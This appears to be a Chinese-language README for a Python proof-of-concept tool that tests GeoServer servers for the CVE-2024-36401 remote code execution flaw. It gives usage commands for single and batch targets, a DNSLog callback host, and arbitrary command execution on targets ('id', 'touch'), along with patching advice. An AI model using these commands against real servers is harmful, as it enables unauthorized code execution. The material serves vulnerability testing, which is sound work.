Share
## https://sploitus.com/exploit?id=B4568E18-B102-57E4-A9E6-6C5C1FC67655
> ⚠️ **免责声明:** 此工具仅供安全研究与合法授权测试使用,请勿用于非法用途。使用者需自行承担法律责任。

README Version: \[[English](README_EN.md) | [中文](README.md)\]

## 漏洞描述

本脚本是针对 [GeoServer](https://geoserver.org/) 的远程代码执行漏洞(CVE-2024-36401)开发的 PoC(Proof of Concept)探测工具。该漏洞允许攻击者通过构造特定请求,在目标服务器上执行任意命令。

---

## 环境依赖

请确保你的运行环境已安装以下依赖项:

- Python 3.x
- 第三方库:
  - `requests`
  - `lxml`

可通过以下命令安装所需依赖:

```bash
pip install requests lxml
```

---

## 使用说明

### 单个目标检测

```bash
python poc.py -u http://target.com -d dnslog.example.com
```

或指定要执行的命令:

```bash
python poc.py -u http://target.com -c "touch /tmp/vulntest"
```

### 批量检测多个目标

准备一个包含多个目标 URL 的文本文件(每行一个):

```bash
python poc.py -uf targets.txt -d dnslog.example.com
```

或指定命令:

```bash
python poc.py -uf targets.txt -c "id"
```

详细使用说明:
[详细使用说明文档](漏洞探测脚本详细使用文档.pdf)


---

## 参数说明

| 参数                | 描述                                                         |
| ------------------- | ------------------------------------------------------------ |
| `-u`, `--url`       | 指定单个目标地址                                             |
| `-uf`, `--url-file` | 指定包含多个目标 URL 的文件路径                              |
| `-d`, `--dnslog`    | 指定 DNSLog 地址                                             |
| `-c`, `--command`   | 指定要在目标系统上执行的命令(如:`whoami`, `id`, `curl` 等) |

> ⚠️ 注意:`-d` 和 `-c` 参数不可同时使用。

---

## 输出示例

```text
[INFO] 爬取到3个有效的 Typenames,开始漏洞探测
[INFO] 目标: http://example.com
[INFO] 执行命令: whoami
[INFO] DNSLOG地址:

[INFO] 正在尝试 typeName: topp:states -> whoami
[+] 命令疑似成功执行!目标: http://example.com 命令: whoami
```

---

## 脚本特性

- 修复Nuclei POC中由于Typenames写死,造成漏洞验证失败的问题。
- 自动化的爬取所有Typenames信息,并循环测试可以利用的Typenames。
- 支持使用 -c 参数执行命令。
- 支持传入URL文件,批量测试漏洞是否存在。

---

## 安全建议

- 及时升级 GeoServer 至官方最新版本。
- 对公网暴露的 GeoServer 实例进行访问控制。
- 配置防火墙限制 `/geoserver/wfs` 接口的访问来源。

---

## 贡献

欢迎提交 Issue 或 Pull Request 来帮助改进此项目。

---

## 许可证

该项目采用 [MIT 许可证](LICENSE),你可以自由修改、分发、商业使用,但必须保留版权声明。

---